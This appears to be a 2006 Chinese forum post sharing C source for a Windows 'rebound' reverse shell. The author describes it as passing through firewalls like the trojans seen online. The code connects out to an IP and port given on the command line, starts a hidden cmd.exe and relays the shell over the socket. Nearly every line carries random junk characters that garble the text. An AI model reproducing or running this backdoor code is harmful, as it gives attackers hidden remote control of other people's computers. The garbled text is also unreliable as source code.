这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J]v%q,"
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/* ============================== u6T+Cg
Rebound port in Windows NT 18~>ZR
By wind,2006/7 (}a8"]Z
===============================*/ qLw{?sH}J/
#include #i@;J]x(
#include gGr^@=;YC
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#pragma comment(lib,"wsock32.lib") ?,p;O
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void OutputShell(); )T';qm0w
SOCKET sClient; RMK"o?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eb.O#Y
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void main(int argc,char **argv) y<HO:kZ8`
{ +g` 'J$
WSADATA stWsaData; BbW^Wxd3
int nRet; @{YS}&Q/
SOCKADDR_IN stSaiClient,stSaiServer; `4(e
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if(argc != 3) d`P7}*;`
{ {6"Ph(I1
printf("Useage:\n\rRebound DestIP DestPort\n"); "{tg8-a4)
return; H$@`,{M629
} k40* e\
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WSAStartup(MAKEWORD(2,2),&stWsaData); afv~r>q(-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )>.&N[v
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stSaiClient.sin_family = AF_INET; Y<mej][
stSaiClient.sin_port = htons(0); E}Y!O"CAV
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )f}YW/'
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :A1{ d?B
{ Qy.w=80kf
printf("Bind Socket Failed!\n"); _9JhL:cY
return; cV 5CaaL
} 6I1,:nLL<
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stSaiServer.sin_family = AF_INET; 3{ LP?w:@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1y-y6q
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /4c\K-Z;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Fz1_w$^
{ 86(I^=
printf("Connect Error!"); I|>^1kr8w
return; 94+KdHAo^M
} wT `a3Ymm
OutputShell(); Q7R~{5r>W
} ZT,B(#m
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void OutputShell() ])L
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{ CZ(/=3,3n
char szBuff[1024]; KMU4n-s"o
SECURITY_ATTRIBUTES stSecurityAttributes; I2 j}Am
OSVERSIONINFO stOsversionInfo; 4G$|Rx[{,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; Pdt6nzfr
char *szShell; ZkA U17f
PROCESS_INFORMATION stProcessInformation; &GlwC%$S
unsigned long lBytesRead; U4gF(Q
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @c<3b2
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6xWe=QGE
stSecurityAttributes.lpSecurityDescriptor = 0; ANJ$'3tg
stSecurityAttributes.bInheritHandle = TRUE; '<rZm=48
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); sA'6ty
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); --HF8_8;'
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); NXNY"r7~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^zt-HDBR_
stStartupInfo.wShowWindow = SW_HIDE; {.QEc0-
stStartupInfo.hStdInput = hReadPipe; @$LWWTr;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5D_fXfx_|
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GetVersionEx(&stOsversionInfo); et,f_fd7v
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switch(stOsversionInfo.dwPlatformId) O>^C4c!
{ P5
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case 1: *tgnYa[l
szShell = "command.com"; |
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break; W6"v)Jc>_
default: 3
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szShell = "cmd.exe"; qxFB%KqU
break; Svc|0Ad&
} SILQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UVw~8o9s
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send(sClient,szMsg,77,0); :cq9f2)
while(1) 0TGLM#{
{ >S'17D
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +RnkJ* l
if(lBytesRead) 4W3\P9p=
{ .a._NW
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~v]!+`_J
send(sClient,szBuff,lBytesRead,0); cfcim.jB
} _Y8hb!#(
else ^@qvl%j
{ Y}uCP1v
lBytesRead=recv(sClient,szBuff,1024,0); EmODBTu+
if(lBytesRead<=0) break; xKQ+{"?-^g
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {_S}H1,
} gF$V$cU
} Aj2OkD
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return; r6&54f
}